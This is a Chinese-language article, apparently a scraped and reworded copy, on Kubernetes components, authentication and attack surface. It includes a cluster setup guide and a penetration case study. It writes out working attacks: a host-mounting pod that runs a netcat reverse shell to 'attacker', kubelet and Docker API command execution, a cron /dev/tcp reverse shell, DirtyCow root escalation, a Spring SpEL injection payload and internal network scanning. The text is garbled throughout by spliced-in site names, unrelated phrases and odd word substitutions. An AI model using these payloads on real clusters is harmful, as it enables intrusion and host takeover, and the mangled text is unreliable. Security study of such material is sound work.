战恋雪,,武汉人事考试网

前语

Kubernetes是一个开源的,用于编列云渠道中多个主机上的容器化的运用,方针是让布置容器化的运用能简略而且高效的运用, 供给了运用布置,规划,更新,维护的一种机制。其间心的特色便是能够自主的办理容器来确保云渠道中的容器依照用户的希望状况运转着,办理员能够加载一个微型服务,让规划器来找到适宜的方位,一起,Kubernetes在体系提高东西以及人性化方面,让用户能够便当的布置自己的运用。有着以上长处,让kubernetes越来越盛行。一起,安全问题逐步显着起来。

一、中心组件与资源方针

常见的Kubernetes集群结构图如下,Master节点是集群的操控节点,Node节点则是集群的作业节点。

1. Master节点

Master节点是Kubernetes集群的操控节点,每个Kubernetes集群里至少有一个Master节点,它担任整个集群的决议方案(如调度),发现和呼应集群的事情。Master节点能够运转在集群中的恣意一个节点上,可是最好将Master节点作为一个独立节点,不在该节点上创立容器,因为假如该节点呈现问题导致宕机或不可用,整个集群的办理就会失效。

在Master节点上,一般会运转以下服务:

  • kube-apiserver: 布置在Master上露出Kubernetes API,是Kubernetes的操控面。
  • etcd: 共同且高度可用的Key-Value存储,用作Kubernetes的一切群集数据的后备存储。
  • kube-scheduler: 调度器,运转在Master上,用于监控节点中的容器运转状况,并挑选节点来创立新的容器。调度决议方案所考虑的要素包括资源需求,硬件/软件/战略束缚,亲和和排斥性规范,数据方位,作业负载间搅扰和最终期限。
  • kube-controller-manager

操控和办理器,运转在Master上,每个操控器都是独立的进程,但为了下降复杂性,这些操控器都被编译成单一的二进制文件,并以独自的进程运转。

2. Node节点

Node 节点是 Kubernetes 集群的作业节点,每个集群中至少需求一台Node节点,它担任真实的运转Pod,当某个Node节点呈现问题而导致宕机时,Master会主动将该节点上的Pod调度到其他节点。Node节点能够运转在物理机上,也能够运转在虚拟机中。

在Node节点上,一般会运转以下服务:

  • kubelet: 运转在每一个 Node 节点上的客户端,担任Pod对应的容器创立,发动和中止等使命,一起和Master节点进行通讯,完结集群办理的根本功用。
  • kube-proxy: 担任 Kubernetes Services的通讯和负载均衡机制。
  • Docker Engine: 担任节点上的容器的创立和办理。

Node节点能够在集群运转期间动态增加,只需整个节点现已正确装置装备和发动了上面的进程。在默许状况下,kubelet会向Master主动注册。一旦Node被接入到集群办理中,kubelet会守时向Master节点陈述本身的状况(操作体系,Docker版别,CPU内存运用状况等),这样Master便能够在知道每个节点的具体状况的一起,还能知道该节点是否是正常运转。当Node节点心跳超不时,Master节点会主动判别该节点处于不可用状况,并会对该Node节点上的Pod进行搬迁。

3. 资源方针

pod

Pod是Kubernetes最重要也是最根本的概念,一个Pod是一组同享网络和存储(能够是一个或多个)的容器。Pod中的容器都是一致进行调度,而且运转在同享上下文中。一个Pod被界说为一个逻辑的host,它包括一个或多个相对耦合的容器。

Pod的同享上下文,实际上是一组由namespace、cgroups, 其他资源的阻隔的调集,意味着Pod中的资源现已是被阻隔过了的,而在Pod中的每一个独立的container又对Pod中的资源进行了二次阻隔。

Service

Kubernetes Service 界说了这样一种笼统:一个 Pod 的逻辑分组,一种能够拜访它们的战略,一般称为微服务。 这一组Pod能够被Service拜访到,一般是通过Label Selector完结的。

举个比方,考虑一个图片处理 backend,它运转了3个副本,这些副本是可交换的,frontend 不需求关怀它们调用了哪个 backend 副本。 可是组成这一组 backend 程序的 Pod 实际上或许会发作变化,frontend 客户端不应该也没必要知道,而且也不需求盯梢这一组 backend 的状况。 Service 界说的笼统能够解耦这种相关。

对 Kubernetes 集群中的运用,Kubernetes 供给了简略的 Endpoints API,只需 Service 中的一组 Pod 发作改变,运用程序就会被更新。 对非 Kubernetes 集群中的运用,Kubernetes 供给了依据 VIP 的网桥的办法拜访 Service,再由 Service 重定向到 backend Pod。

Namespace

Namespace是对一组资源和方针的笼统调集,比方能够用来将体系内部的方针划分为不同的项目组或用户组。常见的pods, services, replication controllers和deployments等都是归于某一个namespace的(默许是default),而node, persistentVolumes等则不归于任何namespace。

Namespace常用来阻隔不同的用户,比方Kubernetes自带的服务一般运转在kube-system namespace中。

Deployment

Deployment是ReplicationController的晋级版别,Deployment操控器会依据在Deployment方针中描绘的希望状况对Pod进行调整。通过Deployment操控器,咱们能够随时了解Pod布置的进展,因为实际上Pod的创立、调度、绑定等操作都是需求时刻的。

Deployment典型运用场景:

  • 创立Deployment方针来出产对应的ReplicaSet来完结布置
  • 通过更新Deployment的PodTemplateSpec更新Pod的最新状况。更新时,新的RelicaSet会被创立,Deployment操控器会将老的ReplicaSet中的Pod以必定的速率搬迁到新的ReplicaSet中。
  • 回滚到前期版别
  • 扩展Deployment以应对高负载
  • 暂停Deployment以便一次性修正多个PodTemplateSpec的装备项,之后再康复Deployment进行新的发布
  • 检查Deployment状况来作为发布是否成功的规范
  • 整理不需求的ReplicaSet

4. 运转流程

创立pod的根本流程如下:

  1. 用户提交创立Pod的恳求,能够通过API Server的REST API ,也可用Kubectl指令行东西,支撑Json和Yaml两种格局;
  2. API Server处理用户恳求,存储Pod数据到etcd;
  3. Schedule通过和API Server的watch机制,检查到新的Pod,测验为Pod绑定Node;
  4. 过滤主机:调度器用一组规矩过滤掉不符合要求的主机,比方Pod指定了所需求的资源,那么就要过滤掉资源不行的主机;
  5. 主机打分:对第一步筛选出的符合要求的主机进行打分,在主机打分阶段,调度器会考虑一些全体优化战略,比方把一个Replication Controller的副本散布到不同的主机上,运用最低负载的主机等;
  6. 挑选主机:挑选打分最高的主机,进行binding操作,成果存储到etcd中;
  7. Kubelet依据调度成果履行Pod创立操作:绑定成功后,会发动container,dock长智齿牙龈胀痛怎么办er run,scheduler会调用API Server的API在etcd中创立一个bound pod方针,描绘在一个作业节点上绑定运转的一切pod信息。运转在每个作业节点上的Kubelet也会守时与etcd同步bound pod信息,一旦发现应该在该作业节点上运转的bound pod方针没有更新,则调用Docker API创立并发动pod内的容器。

二、认证授权机制

1. Service Account 认证

针对在pod内部拜访 apiserver,获取集群的信息和改动,kubernetes供给了特别的我的清闲御史生计认证办法:Service Account。Service Account是面向namespace的,namespace创立的时分,kubernetes会主动在这个namespace下面创立一个默许的Service Account;而且这个Service Account只能拜访该namespace的资源。Service Account 和 pod、service、deployment相同是kubernetes集群中的一种资源,用户也能够创立自己的 service account。

ServiceAccount 首要包括了三个内容:namespace、Token 和 CA。namespace 指定了 pod 地点的 namespace,CA 用于验证 apiserver 的证书,token 用作身份验证。它们都通过 mount 的办法保存在 pod 的文件体系中,其间 token 保存的途径是 /var/run/secrets/kubernetes.io/serviceaccount/token ,是 apiserver 通过私钥签发 token 的 base64 编码后的成果;CA 保存的途径是 /var/run/secrets/kubernetes.io/serviceaccount/ca.crt ,namespace 保存的途径是 /var/run/secrets/kubernetes.io/serviceaccount/namespace ,也是用 base64 编码。

假如 token 能够通过认证,那么恳求的用户名将被设置为system:serviceaccount:(NAMESPACE):(SERVICEACCOUNT) ,而恳求的组名有两个: system:serviceaccounts 和 system:serviceaccounts:(NAMESPACE)。

2. RBAC授权

在Kubernetes中,授权有ABAC(依据特点的拜访操控)、RBAC(依据人物的拜访操控)、Webhook、Node、AlwaysDeny(一向回绝)和AlwaysAllow(一向答应)这6种形式。从1.6版别起,Kubernetes 默战恋雪,,武汉人事考试网认启用RBAC拜访操控战略。从1.8开端,RBAC已作为安稳的功用。通过设置—authorization-mode=RBAC。RBAC API中,通过如下的进程进行授权:

1)界说人物:在界说人物时会指定此人物关于资源的拜访操控的规矩;

2)绑定人物:将主体与人物进行绑定,对用户进行拜访授权。

在RBAC API中,人物包括代表权限调集的规矩。在这里,权限只要被颁发,而没有被回绝的设置。在Kubernetes中有两类人物,即一般人物和集群人物。能够通过Role界说在一个命名空间中的人物,或许能够运用ClusterRole界说集群规模的人物。一个人物只能被用来颁发拜访单一指令空间中的资源。

3. Keystone Password 认证

Keystone 是 opens海胡须杖tack 供给的认证和授权组件,这个办法关于现已运用 openstack 来建立 Iaas 渠道的公司比较适用,直接运用 keystone 能够确保 Iaas 和 Caas 渠道保持共同的用户体系。

需求API Server在发动时指定—experimental-keystone-url=,而https时还需求设置—experimental-keystone-ca-file=SOMEFILE。

三、安全危险

1. kube-apiserver

布置在Master上露出Kubernetes API,是Kubernetes的操控面。Kubernetes API服务器为API方针验证和装备数据,这些方针包括Pod,Service,ReplicationController等等。API Server供给REST操作以及前端到集群的同享状况,一切其它组件能够通过这些同享状况交互。

默许状况,Kubernetes API Server供给HTTP的两个端口:

1)本地主机端口

  • HTTP服务
  • 默许端口8080,修正标识–insecure-port
  • 默许IP是本地主机,修正标识—insecure-bind-address
  • 在HTTP中没有认证和授权检查
  • 主机拜访受维护

2)Secure Port

  • 默许端口6443,修正标识—secure-port
  • 默许IP是首个非本地主机的网络接口,修正标识—bind-address
  • HTTPS服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file
  • 认证办法,令牌文件或许客户端证书
  • 运用依据战略的授权办法

拜访Rest API,会回来可用的API列表,如下所示:

假如Kubernetes API Server装备了Dashboard,通过途径/ui即可拜访

该操作界面能够创立、修正、删去容器,检查日志等。咱们能够编写yaml文件,结构pod来获取指令履行。如下供给了三种布置pod的办法

输入文本创立一个pod,将节点的根目录挂载到容器的/mnt目录。获取到宿主机权限

创立pod进程中,相同可指令履行反弹shell

apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- name: busybox
im三轮轿车age: busybox:1.29.2
command: ["/bin/sh"]
args: ["-c", "nc attacker 4444 -e /bin/sh"]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory

进入容器组,翻开指令履行窗口

Kubernetes官方供给了一个指令行东西kubectl。运用kubectl相同能够获取容器的shell,完结指令履行。而且可进入指定的容器履行指令

假如在kubelet进程发动时加—enable-debugging-handles=true参数,那么kubernetes Proxy API还会增加以下接口:/api/v1/proxy/nodes/{name}/run #在节点上运转某个容器

/api/v1/proxy/nodes/{name}/exec #在节点上的某个容器中运转某条指令

/api/v1/proxy/nodes/{name}/attach #在节点上attach某个容器

/api/v1/proxy/nodes/{name}/portForward #完结节点上的Pod端口转发

/api/v1/proxy/nodes/{name}/logs #列出节点的各类日志信息

/api/v1/proxy/nodes/{name}/metrics #列出和该节点相关的Metrics信息

/api/v1/proxy/nodes/{name}/runningpods #列出节点内运转中的Pod信息

/api/v1/proxy/nodes/{name}/debug/pprof #列出节点内当时web服务的状况,包括CPU和内存的运用状况

除此之外,通过拜访pod,拜访到某个服务接口:/api/v1/proxy/namespaces/{namespace}/pods/{name}/{path:*}

2. etcd

一般etcd数据库会被装置到master节点上,rest api可获取集群内token、证书、账户暗码等灵敏信息,默许端口为2379。拜访途径/v2/keys/?recursive=true,以JSON格局回来存储在服务器上的一切密钥。部分成果如下:

装置etcdctl,能够运用相似的办法查询API

etcdctl --endpoint=http://[etcd_server_ip]:2379 ls

若存在途径/registry/secrets/de战恋雪,,武汉人事考试网fault,其间或许包括对集群提高权限的默许服务令牌。

3. Kubelet

kubernetes 是一个散布式的集群办理体系,在每个节点(node)上都要运转一个 worker 对容器进行生命周期的办理,这个 worker 程序便是 kubelet。

kubelet 的首要功用便是守时从某个当地获取节点上 pod/container 的希望状况(运转什么容器、运转的副本数量、网络或许存储怎么装备等等),并调用对应的容器渠道接口到达这个状况。

集群状况下,kubelet 会从 master 上读取信息,但其实 kubelet 还能够从其他当地获取节点的 pod 信息。现在 kubelet 支撑三种数据源:

  1. 本地文件
  2. 通过 url 从网络上某个地址来获取信息
  3. API Server:从 kubernetes master 节点获取信息

10250端口是kubelet API的HTTPS端口,通过途径/pods获取环境变量、运转的容器信息、命名空间等信息。如下所示:

获取到namespace、pod、container的信息后,履行如下恳求。完结指令履行

curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec///?command=touch&command=hello_world&input=1&output=1&tty=1"

本地建立测验环境进行复现,从回来成果中得到websocket地址

选用wscat进行websocket衔接。wscat是一个用来衔接websocket的指令行东西,由nodejs开发,通过npm进行装置 npm install -g wscat

4. Docker Engine

未授权拜访Rest API

kubernetes的容器编列技能进行办理构成的docker集群,kubernetes是google开源的容器办理体系,完结依据Docker构建容器,运用战恋雪,,武汉人事考试网kubernetes能够很便当的办理含有多台Docker主机中的容器,将多个docker主机笼统为一个资源,以集群办法办理容器。

当docker装备了Rest api,咱们能够通过途径/containers/json 获取服务器主机当时运转的container列表。找到存在未授权拜访的方针主机,发现现已被装置门罗币矿机。如下图所示:

通过长途拜访接口,取得容器拜访权限。发动容器时通过挂载根目录到容器内的目录,获取宿主机权限。输入如下指令,获取容器操作权限

docker -H tcp://xxx.xxx.xxx.xxx:2375 run -it -v /root/.ssh/:/mnt alpine /bin/sh

为完结对宿主机的操控,运用办法如下:

  1. ssh公钥到跟文件,进而无暗码ssh拜访宿主机指令行
  2. 使命方案反弹shell,echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/IP/PORT 0>&1\n\n" >> /mnt/root

危险缝隙

容器和宿主机是共用内核的,所以假如宿主机的Linux内核没晋级的话,运用DirtyCow(CVE-2016-5195)缝隙可获取宿主机root权限。

缝隙影响千层蛋糕规模:2.x~4.83

运用办法:

下载提权root的exploit [https://github.com/FireFart/dirtycow](https://github.com/FireFart/dirtycow)

运用gcc -pthread dirty.c -o dirty -lcrypt指令对dirty.c进行编译,生成一个dirty的可履行文件

履行./dirty 暗码指令,即可进行提权。获取username和password,输入su username获取root权限

5. 认证与授权

Service Account

Service Account 概念的引进是依据这样的运用场景:运转在 Pod 里的进程需求调用 Kubernetes API 以及非 Kubernetes API 的其它服务(如 image repository/被 mount 到 Pod 上的 NFS volumes 中的 file 等)。

Kubernetes 默许会挂载 /run/secrets/kubernetes.io/serviceaccount/token 到各个 Pod 里,但这样会导致进犯者进入容器后读取 token 就能和 Kubernetes API 通讯了。假如Kubernetes增加了RBAC授权,或许无法运用token进行通讯。

四、kubernetes 根本运用

1. 环境建立

1.1 试验环境

体系版别:centos7x3.10.0-514.el7.x86_64

Kubernetes版别:v1.8.3

Kubernetes-node版别:v1.8.3

Docker版别:docker-ce.x86_64 0:18.03.1.ce-1.el7.centos

封闭防火墙并制止开机自启

systemctl stop firewalld.servicesystemctl disable firewalld

封闭selinux

sed -i ‘s/SELINUX=enforcing/SELINUX=disabled/g’ /etc/sysconfig/selinux

重启 reboot

1.2 建立master主机(IP 10.0.85.110)

装置组件:

  • etcd
  • kube-apiserver
  • kube-controller-manager
  • kube-scheduler

1.2.1 装置kubernetes服务端

1)下载二进制源码包

wget https://storage.googleapis.com/kubernetes-release/release/v1.8.3/kubernetes-server-linux-amd64.tar.gz

2)解压源码包

tar zxf kubernetes-server-linux-amd64.tar.gz

3)递归创立kubernetes运转文件寄存目录

mkdir -p /k8s/{bin,cfg}

4)将解压目录里的文件移动到新创立的目录里

mv kubernetes/server/bin/{kube-apiserver,kube-controller-manager,kube-scheduler,kubectl} /k8s/bin/

1.2.2 装置etcd组件

1)装置etcd

yum -y install etcd

2)修正etcd的装备文件

vi /etc/etcd/etcd.conf

ETCD_DATA_DIR="/var/lib/etcd/default.etcd"
ETCD_LISTEN_CLIENT_URLS="http://0.0.0.0:2379"
ETCD_NAME="default"
ETCD_ADVERTISE_CLIENT_URLS="http://0.0.0.0:2379"

3)发动etcd服务

设置etcd服务开机自启 : systemctl enable etcd

发动etcd服务 : systemctl start etcd

1.2.3 装备kube-apiserver组件

1)创立kube-apiserver装备文件

vi /k8s/cfg/kube-apiserver

#启用日志规范过错
KUBE_LOGTOSTDERR="--logtostderr=true"
#日志等级
KUBE_LOG_LEVEL="--v=4"
#Etcd服务地址
KUBE_ETCD_SERVERS="--etcd-servers=http://10.0.85.110:2379"
#API服务监听地址
KUBE_API_ADDRESS="--insecure-bind-address=0.0.0.0"
#API服务监听端口
KUBE_API_PORT="--insecure-port=8080"
#对集群中成员供给API服务地址
KUBE_ADVERTISE_ADDR="--advertise-address=10.0.85.110"
#答应容器恳求特权形式,默许false
KUBE_ALLOW_PRIV="--allow-privileged=false"
#集群分配的IP规模
KUBE_SERVICE_ADDRESSES="--service-cluster-ip-range=10.0.0.0/16"

2)创立kube-apiserver的systemd服务发动文件

vi /lib/systemd/system/kube-apiserver.service

[Unit]
Description=Kubernetes API Server
Documentation=https://github.com/kubernetes/kubernetes
[Service]
EnvironmentFile=-/k8s/cfg/kube-apiserver
ExecStart=/k8s/bin/kube-a战恋雪,,武汉人事考试网piserver \
${KUBE_LOGTOSTDERR} \
${KUBE_LOG_LEVEL} \
${KUBE_ETCD_SERVERS} \
${KUBE_API_ADDRESS} \
${KUBE_API_PORT} \
${KUBE_ADVERTISE_ADDR} \
${KUBE_ALLOW_PRIV} \
${KUBE_SERVICE_ADDRESSES}
Restart=on-failure
[Install]
WantedBy=multi-user.target

3)发动kube-apiserver服务

#从头加载kube-apiserver服务看护进程
systemctl daemon-reload
#设置kube-apiserver服务开机自启
systemctl enable kube-apiserver
#重启kube-apiserver服务
systemctl restart kube-apiserver

1.2.4 装备kube-scheduler组件

1)创立kube-scheduler装备文件

vi /k8s/cfg/kube-scheduler

#启用日志规范过错
KUBE_LOGTOSTDERR="--logtostderr=true"
#日志等级
KUBE_LOG_LEVEL="--v=4"
#k8s-master服务地址
KUBE_MASTER="--master=10.0.85.110:8080"
#指定master为操控台
KUB人民币美元E_LEADER_ELECT="--leader-elect"

2)创立kube-scheduler的systemd服务发动文件

vi /lib/systemd/system/kube-scheduler.service

[Unit]
Description=Kubernetes Scheduler
Documentation=https://github.com/kubernetes/kubernetes
[Service]
EnvironmentFile=/k8s/cfg/kube-scheduler
ExecStart=/k8s/bin/kube-scheduler \
${KUBE_LOGTOSTDERR} \
${KUBE_LOG_LEVEL} \
${KUBE_MASTER} \
${KUBE_LEADER_ELECT}
Restart=on-failure
[Install]
WantedBy=multi-user.target

3)发动kube-scheduler服务

#从头加载kube-scheduler服务看护进程
systemctl daemon-reload
#设置kube-scheduler服务开机自启
systemctl enable kube-scheduler
#从头发动kube-scheduler服务
systemctl restart泰禾集团 kube-scheduler

1.2.5 装备kube-controller-manager组件

1)创立kube-controller-manager装备文件

vi /k8s/cfg/kube-controller-manager

#启用日志规范过错
KUBE_LOGTOSTDERR="--logtostderr=true"
#日志等级
KUBE_LOG_LEVEL="--v=4"
#k8s-master服务地址
KUBE_MASTER="--master=10.0.85.113:8080"

2)创立kube-controller-manager的systemd服务发动文件

vi /lib/systemd/system/kube-controller-manager.service

[Unit]
Description=Kubernetes Controller Manager
Documentation=https://github.com/kubernetes/kubernetes
[Service]
EnvironmentFile=/k8s/cfg/kube-controller-manager
ExecStart=/k8s/bin/kube-controller-manager \
${KUBE_LOGTOSTDERR} \
${KUBE_LOG_LEVEL} \
${KUBE_MASTER} \
${KUBE_LEADER_ELECT}
Restart=on-failure
[Install]
WantedBy=multi-user.target

3)发动kube-controller-manager服务

#从头加载kube-controller-manager服务看护进程
systemctl daemon-reload
#设置kube-controller-manager服务开机自启
systemctl enable kube-controller-manager
#从头发动kube-controller-manager服务
systemctl restart kube-controller-manager

1.3 建立node主机(IP 10.0.85.113)

装置组件:

  • kubelet
  • kube-proxy
  • docker

1.3.1 装置kubernetes的

1)下载二进制源码包

wget https://storage.googleapis.com/kubernetes-release/release/v1.8.3/kubernetes-node-linux-amd64.tar.gz

2)解压源码包

tar zxf kubernetes-node-linux-amd64.tar.gz

3)递归创立kubernetes运转文件寄存目录

mkdir -p /k8s/{bin,cfg}

4)将解压目录里的文件移动到新创立的目录里

mv kubernetes/node/bin/{ kubectl,kubelet,kube-proxy} /k8s/bin/

5)创立衔接master apiserver装备文件

vi /k8s/cfg/kubelet.kubeconfig

apiVersion: v1
kind: Config
clusters:
- cluster:
server: http://10.0.85.110:8080
name: local
contexts:
- context:
cluster: local
name: local
current-context: local

6)创立kubelet装备文件

vi /k8s/cfg/kubelet

#启用日志规范过错
KUBE_LOGTOSTDERR="--logtostderr=true"
#狗叫日志等级
KUBE_LOG_LEVEL="--v=4"
#Kubelet服务IP地址
NODE_ADDRESS="--address=10.0.85.113"
#Kubelet服务端口
NODE_PORT="--port=10250"
#自界说节点称号
NODE_HOSTNAME="--hostname-override=10.0.85.113"
#kubeconfig途径,指定衔接API服务器
KUBELET_KUBECONFIG="--kubeconfig=/k8s/cfg/kubelet.kubeconfig"
#答应容器恳求特权形式,默许false
KUBE_ALLOW_PRIV="--allow-privileged=false"
#DNS信息
KUBELET_DNS_IP="--cluster-dns=10.0.100.2"
KUBELET_DNS_DOMAIN="--cluster-domain=cluster.local"
#禁用运用Swap
KUBELET_SWAP="--fail-swap-on=false"
KUBELET_ARGS="--pod-infra-container-image=docker.io/kubernetes/pause"

7)创立kubelet服务的systemd发动文件

vi /lib/systemd/system/kubelet.service

[Unit]
Description=Kubernetes Kubelet
After=docker.service
Requires=docker.service
[Service]
EnvironmentFile=-/k8s/cfg/kubelet
ExecStart=/k8s/bin/kubelet \
${KUBE_LOGTOSTDERR} \
${KUBE_LOG_LEVEL} \
${NODE_ADDRESS} \
${NODE_PORT} \
${NODE_HOSTNAME} \
${KUBELET_KUBECONFIG} \
${KUBE_ALLOW_PRIV} \
${KUBELET_DNS_IP} \
${KUBELET_DNS_DOMAIN} \
${KUBELET_SWAP} \
${KUBELET_ARGS}
Restart=on-failure
KillMode=process
[Install]
WantedBy=multi-user.target

8)发动kubelet服务

#从头加载kubelet服务看护进程
systemctl daemon-reload
#设置kubelet服务开机自启
systemctl enable kubelet
#从头发动kubelet服务
systemctl restart kubelet

1.3.2 装备kube-proxy组件

1)创立kube-proxy装备文件

vi /k8s/cfg/kube-proxy

#用日志规范过错
KUBE_LOGTOSTDERR="--logt战恋雪,,武汉人事考试网ostderr=true"
#志等级
KUBE_LOG_LEVEL="--v=4"
#界说节点称号
NODE_HOSTNAME="--hostname-override=10.0.85.113"
#PI服务地址
KUBE_MASTER="--master=http://10.0.85.110:8080"

2)创立kube-proxy服务的systemd服务发动文件

vi /lib/systemd/system/kube-proxy.service

[Unit]
Description=Kubernetes Proxy手绘
After=network.target
[Service]
EnvironmentFile=/k8s/cfg/kube-proxy
ExecStart=/k8s/bin/kube-proxy \
${KUBE_LOGTOSTDERR} \
${KUBE_LOG_LEVEL} \
${NODE_HOSTNAME} \
${KUBE_MASTER}
Restart=on-failure
[Install]
WantedBy=multi-user.target

3)发动kube-proxy服务

#从头加载kube-proxy服务看护进程
systemctl daemon-reload
#设置kube-proxy服务开机自启
systemctl enable kube-proxy
#重启kube-apiserver服务
systemctl restart kub战恋雪,,武汉人事考试网e-proxy

1.3.3 装置docker

1)装置docker-ce的yum源

下载yum源到本地

wget http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

移动yum源到/etc/yum.repos.d/目录下

mv docker-ce.repo /etc/yum.repos.d/

2)从高到低摆放显现docker版别

yum list docker-ce --showduplicates | sort -r

3)装置docker-ce .x86_64-18.03.1.ce-1.el7.centos

yum -y install docker-ce .x86_64-18.03.1.ce-1.el7.centos

4) 装备Docker装备文件,使其答应从registry中拉取镜像vim /etc/sysconfig/docker

# /etc/sysconfig/docker
# Modify these options if you want to change the way the docker daemon runs
OPTIONS='--selinux-enabled --log-driver=journald --signature-verification=false'
if [ -z "${DOCKER_CERT_PATH}" ]; then
DOCKER_CERT_PATH=/etc/docker
fi
OPTIONS='--insecure-registry registry:5000'

5)发动docker服务

//设置docker开机自启
systemctl enable docker
//发动docker服务
systemctl start docker
//重启docker服务
systemctl restart docker

1.4 创立掩盖网络——Flannel

1) 装置Flannel

在master、node上均履行如下指令,进行装置

yum install flannel

2) 装备Flannelmaster、node上均修正/etc/sysconfig/flanneld,修正 FLANNEL_ETCD_ENDPOINTS 部分

vi /etc/sysconfig/flanneld

# Flanneld configuration options
# etcd url location. Point this to the server where etcd runs
FLANNEL_ETCD_ENDPOINTS="http://10.0.85.110:2379"
# etcd config key. This is the configuration key that flannel queries
# For address range assignment
FLANNEL_ETCD_PREFIX="/atomic.io/network"
# Any additional options that you want to pass
#FLANNEL_OPTIONS=""

3) 装备etcd中关于flannel的keyFlannel运用Etcd进行装备,来确保多个Flannel实例之间的装备共同性,所以需求在etcd上进行如下装备:(‘/atomic.io/network/config’这个key与上文/etc/sysconfig/flannel中的装备项FLANNEL_ETCD_PREFIX是相对应的,过错的话发动就会犯错)

[root@k8s-master ~]# etcdctl mk /atomic.io/network/config '{ "Network": "10.0.0.0/16" }'
{ "Network": "10.0.0.0/16" }

1.5 发动集群

1.设置k8s指令的环境变量

echo "export PATH=$PATH:/k8s/bin" >> /etc/profile

注:当时两台机器上都履行!

2.让环境变量当即收效

source /etc/profile

3.发动master

systemctl enable flanneld.service 
systemctl start flanneld.service
systemctl daemon-reload
systemctl restart kube-apiserver
systemctl restart kube-scheduler
systemctl restart kube-controller-manager

3.发动node

service docker restart
systemctl enable flanneld.service
systemctl start flanneld.service
service docker restart
systemctl restart kubelet
systemctl restart kube-proxy

2. 过错排查

集群布置的进程中,常常会呈现各种问题。根本排查过错的进程如下:

1)履行如下指令,检查是否有组件未发动成功。未发动成功会显现反常过错信息

systemctl status flanneld.service
systemctl status kubelet
systemctl status kube-apiserver
systemctl status kube-controller-manager
systemctl status kube-proxy
systemctl status docker

大部分状况下,报错需求从头发动。或许是因为装备文件的格局过错,具体过错在指令后加 -l

2) systemctl 无法检查到具体过错的状况下,需求检查体系日志文件进行查错

  • 履行指令 tail -f /var/log/messages 实时检查日志信息
  • 翻开文件 vi /var/log/messages,通过 /keyword 来排查组件的报错信息

五、浸透事例:运用存在SPEL表达式注入缝隙

1. 环境建立

Spring Data Commons组件中存在长途代码履行缝隙(CVE-2018-1273),进犯者可结构包括有恶意代码的SPEL表达式完结长途代码进犯,直接获取服务器操控权限。

Spring Data是一个用于简化数据库拜访,并支撑云服务的开源结构,包括Commons、Gemfire、JPA、JDBC、MongoDB等模块。此缝隙产生于Spring Data Commons组件,该组件为供给同享的根底结构,合适各个子项目运用,支撑跨数据库耐久化。请受此缝隙影响用户赶快晋级组件。

缝隙影响:

  • 2.0.0-2.0.5
  • 1.13.0-1.13.10

创立deployment,编写文件 RCE-vul.yaml 如下所示:

apiVersion: extensions/v1beta1 
kind: Deployment
metadata:
name: rce-deployment
labels:
name: rce-deployment
spec:
replicas: 1
template:
metadata:
labels:
app: vul-rce
spec:
containers:
- name: rce-container
image: knqyf263/cve-2018-1cx5273
imagePullPolicy: Always

为了完结node节点主机拜访该运用,创立service,编写 vul-sr.yaml 如下所示:

apiVersion: v1
kind: Service
metadata:
name: rce-deployment
labels:
name: rce-deployment
spec:
type: NodePort
ports:
- port: 8080
nodePort: 30001
selector:
app: vul-rce

在master主机别离履行:

kubectl create -f RCE-vul.yaml
kubectl create -f vul-sr.yaml

创立完结后,履行 kubectl get services 能够看到成功映射端口

接着回到node节点主机,封闭防火墙。依然存在外部无法拜访运用的状况,履行指令 iptables -P FORWARD ACCEPT

2. 缝隙运用获取权限

运用缝隙,完结反弹shell。履行如下payload:

curl -v -d 'username[#this.getClass().forName("java.lang.Runtime"联发科).getRuntime().exec("cp /etc/passwd /tmp")]=test' 'http://localhost:8080/users/'

反弹shell的进程中,payload存在特别字符,无法履行。编写反弹shell的脚本,代码如下:

#!/bin/bash
bash -i >& /dev/tcp/ip/port 0>&1

下载脚本文件至方针主机,测验进程中,发现方针测验环境无法解析域名。这个问题需修正 kubelet 装备文件中 KUBELET_DNS_IP为公网DNS 8.8.8.8。但本次测验决议运用域名无法解析的环境。在服务器上履行 python -m SimpleHTTPServer 10888 通过python暂时敞开http服务下载文件

接着履行该文件,获取shell

3. 进犯集群组件

输入指令 env,获取到当时容器信息。只要Deployment的IP,没有node节点的信息

集群的组件中可运用的默许端口如下:

  • 8080/6443 kube-apiserver
  • 10250/10255/4149 kubelet
  • 2379 etcd
  • 30000 dashboard
  • 2375 docker api
  • 10256 kube-proxy
  • 9099 calico-felix

局域网地址规模分三类,以下IP段为内网IP段:

  • C类:192.168.0.0 - 192.168.255.255
  • B类:172.16.0.0 - 172.31.255.255
  • A类:10.0.0.0 - 10.255.255.255

编写简略的多线程linux shell脚本比照nmap的扫描速率,代码如下:

#!/bin/bash
NETWORK=$1
for a in $(seq 1 255)
do
for b in $(seq 1 255)
do
{
ping -c 1 -w 1 $NETWORK.$a.$b &>/dev/null && result=0 || result=1
if [ "$result" == 0 ];then
echo -e "\033[32;1m$NETWORK.$a.$b is up! \033[0m"
echo "$NETWORK.$a.$b" >> AllHosts_up.txt
else
echo -e "\033[;31m$NETWORK.$a.$b is down!\033[0m"
fi
} &
done
done

对A类地址的C段进行扫描比照,成果如下:

履行脚本 time sh shell.sh 10.0 ,耗费了13min41s

运用nmap对存活主机勘探,调整并行扫描组及勘探报文并行度为最小,通过ICMP echo断定主机是否存活。履行指令及成果如下:nmap 10.0.0.1/16 -sn -PE --min-hostgroup 1024 --min-parallelism 1024 -oG ip_scan.txt

比照成果,nmap能够更快的完结对存活主机的勘探。

为了获取宿主机权限,进犯流程如下:

  1. 因为方针主机无法解析域名,遇到运用nmap需求 apt-get 装置gcc 战恋雪,,武汉人事考试网,python短少模块无法装置等问题。通过 curl -O [https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/nmap](https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/nmap) 下载编译好的nmap东西。
  2. 先对A类地址进行勘探,履行指令 ./nmap 10.0.0.1/16 -sn PE --min-rate 1000 -oG ip_scan.txt
  3. 对B类地址进行勘探 ./nmap 172.0.0.0/16 172.16.0.0/12 -sn -PE --min-rate 1000 -oG ip_scan.txt
